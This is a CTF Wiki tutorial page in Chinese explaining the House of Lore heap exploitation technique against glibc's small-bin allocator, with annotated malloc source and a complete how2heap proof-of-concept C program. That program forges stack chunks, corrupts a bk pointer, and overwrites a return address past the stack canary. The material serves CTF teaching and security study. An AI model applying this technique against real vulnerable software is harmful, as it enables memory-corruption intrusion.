CTF Wiki
  • 简介
  • 如何使用 CTF Wiki
  • introduction
    • CTF 历史
    • CTF 竞赛模式简介
    • CTF 竞赛内容
    • 线下攻防经验小结
    • CGC 超级挑战赛
    • 学习资源
  • misc
    • 杂项简介
    • 取证隐写前置技术
    • 信息搜集技术
    • encode
      • 通信领域常用编码
      • 计算机相关的编码
      • 现实世界中常用的编码
    • picture
      • 图片分析简介
      • JPG
      • PNG
      • GIF
    • audio
      • 音频隐写
    • archive
      • RAR 格式
      • ZIP 格式
    • traffic
      • 流量包分析简介
      • 协议分析概述
        • Wireshark
        • DNS
        • HTTP
        • HTTPS
        • FTP
        • USB
        • WIFI
      • 数据提取
      • PCAP 文件修复
    • disk-memory
      • 磁盘内存分析
      • 题目
    • shellcode
    • other
      • pyc
  • web
    • Web 简介
    • XSS
    • php
      • PHP 代码审计
    • SQL 注入
      • sqlmap绕过脚本
      • 各版本数据库语句备忘
    • CSRF
    • SSRF
  • reverse
    • 软件逆向工程简介
    • identify-encode-encryption
      • 常见加密算法和编码识别
    • language
      • 简介
      • go
        • Golang 逆向入门
      • python
        • Python 逆向入门
      • rust
        • Rust 逆向入门
    • maze
      • 迷宫问题
    • obfuscate
      • 控制流平坦化
      • 花指令
      • movofuscator
      • Self-Modified Code
    • vm
      • 虚拟机分析
    • platform
      • linux
        • Detecting Breakpoints
        • Detecting debugging
        • False Disassembly
        • LD_PRELOAD
      • windows
        • anti-debug
          • CheckRemoteDebuggerPresent
          • 反调试技术例题
          • Heap Flags
          • Interrupt 3
          • IsDebuggerPresent
          • 花指令
          • NtGlobalFlag
          • NtQueryInformationProcess
          • The Heap
          • Thread Local Storage(TLS)
          • ZwSetInformationThread
        • unpack
          • 一步到达 OEP 法
          • ESP 定律法
          • DUMP 及 IAT 重建
          • 最后一次异常法
          • 手动查找 IAT 并使用 ImportREC 重建
          • 内存镜像法
          • 保护壳简介
          • SFX 法
          • 单步跟踪法
          • DLL 文件脱壳
    • tools
      • constraint
        • z3
      • debug
        • gdb
        • ollydbg
        • windbg
        • x64dbg/x32dbg
      • simulate-execution
        • angr
        • Unicorn Engine
      • static-analyze
        • dnspy
        • Ghidra
        • IDA Pro
        • jadx
  • crypto
    • 密码学简介
    • asymmetric
      • 介绍
      • discrete-log
        • 离散对数
        • ECC
        • ElGamal
      • knapsack
        • 背包加密
      • lattice
        • CVP
        • 基本介绍
        • 格基规约算法
        • 格概述
      • rsa
        • RSA 选择明密文攻击
        • RSA 复杂题目
        • Coppersmith 相关攻击
        • 公钥指数相关攻击
        • 模数相关攻击
        • Bleichenbacher's attack
        • RSA 侧信道攻击
        • RSA 介绍
        • d_attacks
          • 私钥 d 相关攻击
          • 扩展维纳攻击
    • attack-summary
      • 简介
      • 比特攻击
      • 中间相遇攻击 - MITM
    • basic
      • 基础数学知识
    • blockcipher
      • AES
      • ARX: Add-Rotate-Xor
      • DES
      • IDEA
      • 块加密
      • Simon and Speck Block Ciphers
      • mode
        • CBC
        • CFB
        • CTR
        • ECB
        • 分组模式
        • OFB
        • Padding Oracle Attack
        • 填充方式
        • PCBC
    • certificate
      • 证书格式
    • classical
      • 古典密码简介
      • 单表代换加密
      • 其它类型加密
      • 多表代换加密
      • 总结
    • hash
      • Hash Attack
      • 综合题目
      • Fowler–Noll–Vo hash function
      • 哈希函数
      • MD5
      • SHA1
    • signature
      • DSA
      • ElGamal
      • 数字签名
      • RSA 数字签名
    • streamcipher
      • 流密码
      • fsr
        • 反馈移位寄存器
        • 线性反馈移位寄存器 - LFSR
        • 非线性反馈移位寄存器
      • lcg
        • 题目
        • 线性同余生成器
      • prng
        • 密码安全伪随机数生成器
        • 伪随机数生成器介绍
        • 题目
      • special
        • RC4
  • pwn
    • MacOS
    • misc-os
    • 概述
      • stackoverflow
        • 执行 Shellcode
        • 栈介绍
        • 栈溢出原理
    • browser
      • Chrome
      • Firefox
      • Safari
    • hardware
      • 简介
        • side-channel
          • prefetch side-channel attack
      • trusted-computing
        • 可信执行环境
    • linux
      • kernel-mode
        • 基础知识
        • Introduction
          • DoS
          • Information Disclosure
          • Introduction
            • Change Others
            • Change Self
        • Introduction
          • Introduction
            • 信息泄漏
            • Misc
          • Introduction
            • Kernel Stack Canary
          • Introduction
            • inner-kernel
              • 内部隔离
            • Introduction
              • KPTI - Kernel Page Table Isolation
              • 用户代码不可执行
              • 用户数据不可访问
          • Introduction
            • FGKASLR
            • KASLR
        • Introduction
          • 编译内核驱动
          • 内核下载与编译
          • Qemu 模拟环境
          • Real Device
        • exploitation
          • heap
            • 内核堆概述
            • buddy
              • Cross-Cache Overflow & Page-level Heap Fengshui
              • Page-level UAF
            • slub
              • freelist 劫持
              • Heap Spray
              • kernel UAF
          • race
            • Double Fetch
            • userfaultfd 的使用
          • rop
            • bypass-smep
            • ret2dir
            • 利用 pt_regs 构造通用内核 ROP
            • ret2usr(已过时)
            • Kernel ROP
          • tricks
            • 在内存中直接搜索 flag
      • user-mode
        • environment
        • fmtstr
          • 检测
          • 例子
          • 利用
          • 原理介绍
        • integeroverflow
          • 整数溢出
        • io-file
          • glibc 2.24下 IO_FILE 的利用
          • 伪造vtable劫持程序流程
          • FSOP
          • FILE结构
        • mitigation
          • Canary
        • race-condition
          • introduction
          • 题目
        • summary
          • 获取地址
          • shell 获取小结
          • 控制程序执行流
        • Type Confusion
        • Uninitialized Memory
        • heap
          • mallocng
          • ptmalloc2
            • Chunk Extend and Overlapping
            • Fastbin Attack
            • 堆概述
            • 堆相关数据结构
            • 堆溢出
            • House Of Einherjar
            • House Of Force
            • House of Lore
            • House of Orange
            • House of Pig
            • House of Rabbit
            • House of Roman
            • 堆利用
            • Large Bin Attack
            • 通过堆进行信息泄漏
            • 堆中的 Off-By-One
            • 堆中的检查
            • tcache makes heap exploitation easy again
            • Unlink
            • Unsorted Bin Attack
            • Use After Free
            • implementation
              • 基础操作
              • 释放内存块
              • 堆初始化
              • malloc_state 相关函数
              • 申请内存块
              • 测试支持
              • 深入理解堆的实现
              • tcache
        • stackoverflow
          • arm
            • 环境搭建
            • Arm ROP
          • mips
            • mips - ROP
          • RISC-V
          • x86
            • 基本 ROP
            • 花式栈溢出技巧
            • 中级ROP
            • 栈介绍
            • 栈溢出原理
            • advanced-rop
              • 高级 ROP
              • ret2dlresolve
              • ret2VDSO
              • SROP
    • sandbox
      • Chroot
      • Docker
      • Namespace
      • python
        • Python 沙盒
      • seccomp
        • C 沙盒逃逸
      • Shell Sandbox
    • virtualization
      • basic-knowledge
        • 虚拟化技术简介
        • CPU 虚拟化
        • IO 虚拟化
        • 内存虚拟化
      • parallels
        • Parallels
      • VirtualBox
      • VMWare
      • qemu
        • basic-knowledge
          • QEMU 设备模拟
          • QEMU 内存管理
        • environment
          • 编写 QEMU 模拟设备
          • QEMU 下载与编译
        • exploitation
          • QEMU 逃逸入门
          • 越界读写
  • Android 安全
    • basic_develop
      • Android 开发基础
    • Android 应用运行机制简述
      • Android 中 Java 层的运行机制
        • dex
          • DEX文件
          • ODEX文件
        • smali
          • Smali
      • native_layer
        • so 介绍
    • basic_reverse
      • Android 关键代码定位
      • Android 逆向基本介绍
      • dynamic
        • Android 动态调试
        • IDA 动态调试原生层程序
        • IDA 动态调试 smali 代码
      • static
        • 静态分析综合题目
        • 静态分析 java 层例子
        • 静态分析原生层程序
  • blockchain
    • Blockchain Security Challenges
    • Blockchain Security Overview
    • ethereum
      • Ethereum Basics
      • Ethereum Overview
      • Ethereum Opcodes
      • 学习资源
      • Smart Contract Reverse
      • Function Selector and Argument Encoding
      • Ethereum Storage
      • attacks
        • Airdrop Hunting
        • Arbitrary Writing
        • CREATE2
        • Delegatecall
        • Introduction
        • Jump Oriented Programming
        • Integer Overflow and Underflow
        • Randomness
        • Re-Entrancy
        • Short Address Attack
        • Uninitialized Storage Pointer
    • publicblockchain
      • Public Blockchain Security Overview
      • Blockchain Weaknesses
  • assembly
    • ARM
    • MIPS
    • x86_x64
  • executable
    • elf
      • 程序加载
      • 程序执行流程
      • linking
        • 程序链接
        • Symbol Reslove
      • structure
        • ELF 文件
        • Code Section
        • Data Related Sections
        • Dynamic Sections
        • Misc Sections
        • Sections
        • String Sections
        • .symtab: Symbol Table
    • pe
      • PE 文件格式
      • 导出表
      • 导入表
      • 基址重定位表
  • ics
    • ICS_CTF 竞赛
    • ICS_CTF 发现
    • ICS_CTF 利用
    • ICS_CTF 学习资源
  • contribute
    • 贡献之前
    • 基本贡献方式
    • 贡献文档要求
    • 翻译
  • write up
    • 浙江工业大学CTF赛事
      • 2023第四届“安恒杯”CTF新生赛题解
Powered by GitBook
On this page
  • 概述
  • 基本原理
  • 示例代码
  • 参考文献
  1. pwn
  2. linux
  3. user-mode
  4. heap
  5. ptmalloc2

House of Lore

概述

House of Lore 攻击与 Glibc 堆管理中的 Small Bin 的机制紧密相关。

House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。

House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

基本原理

如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下

    /*
       If a small request, check regular bin.  Since these "smallbins"
       hold one size each, no searching within bins is necessary.
       (For a large request, we need to wait until unsorted chunks are
       processed to find best fit. But for small ones, fits are exact
       anyway, so we can check now, which is faster.)
     */

    if (in_smallbin_range(nb)) {
        // 获取 small bin 的索引
        idx = smallbin_index(nb);
        // 获取对应 small bin 中的 chunk 指针
        bin = bin_at(av, idx);
        // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
        // 如果 victim = bin ,那说明该 bin 为空。
        // 如果不相等,那么会有两种情况
        if ((victim = last(bin)) != bin) {
            // 第一种情况,small bin 还没有初始化。
            if (victim == 0) /* initialization check */
                // 执行初始化,将 fast bins 中的 chunk 进行合并
                malloc_consolidate(av);
            // 第二种情况,small bin 中存在空闲的 chunk
            else {
                // 获取 small bin 中倒数第二个 chunk 。
                bck = victim->bk;
                // 检查 bck->fd 是不是 victim,防止伪造
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // 设置 victim 对应的 inuse 位
                set_inuse_bit_at_offset(victim, nb);
                // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
                bin->bk = bck;
                bck->fd = bin;
                // 如果不是 main_arena,设置对应的标志
                if (av != &main_arena) set_non_main_arena(victim);
                // 细致的检查
                check_malloced_chunk(av, victim, nb);
                // 将申请到的 chunk 转化为对应的 mem 状态
                void *p = chunk2mem(victim);
                // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
                alloc_perturb(p, bytes);
                return p;
            }
        }
    }

从下面的这部分我们可以看出

                // 获取 small bin 中倒数第二个 chunk 。
                bck = victim->bk;
                // 检查 bck->fd 是不是 victim,防止伪造
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // 设置 victim 对应的 inuse 位
                set_inuse_bit_at_offset(victim, nb);
                // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
                bin->bk = bck;
                bck->fd = bin;

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。

示例代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

上面代码已经讲得非常清楚了,不再解释。

但是需要注意的是:

  1. void *p5 = malloc(1000); 是为了防止和 victim_chunk 之后和 top_chunk合并。

  2. free((void*)victim),victim 会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下link到相应的 bin 中。如果比它小(相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk ,还是存在 unsorted bin 中。

参考文献

PreviousHouse Of ForceNextHouse of Orange

Last updated 1 year ago

https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_lore.c